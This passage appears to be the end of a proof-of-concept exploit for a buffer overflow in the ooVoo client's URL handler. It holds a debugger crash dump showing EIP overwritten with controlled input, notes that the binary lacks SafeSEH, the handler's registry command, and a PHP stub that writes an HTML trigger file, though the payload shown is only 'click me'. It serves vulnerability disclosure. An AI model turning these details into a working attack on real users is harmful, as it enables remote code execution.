CMP ECX,[EAX-0C] ---------------------------------------------------------------- 04:22:12.015 pid=0E10 tid=0C08 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION writing [00000000]) ---------------------------------------------------------------- EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00 EDX=7C9132BC: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00 ESP=00133930: A8 32 91 7C 18 3A 13 00-5C 3F 13 00 34 3A 13 00 EBP=00133950: 00 3A 13 00 7A 32 91 7C-18 3A 13 00 5C 3F 13 00 ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=00610061: 00 00 00 89 84 24 86 00-00 00 89 84 24 8A 00 00 --> ADD [EAX],AL ---------------------------------------------------------------- ... additional notes: oovoo.exe, compiled with /SafeSEH=OFF reg key: HKEY_CLASSES_ROOT\ooVoo\shell\open\command "e:\oovoo\oovoo.exe" "%1" */ $bof="click me"; $fp=fopen("oovoo_poc.html","w+"); fputs($fp,$bof); fclose($fp); ?>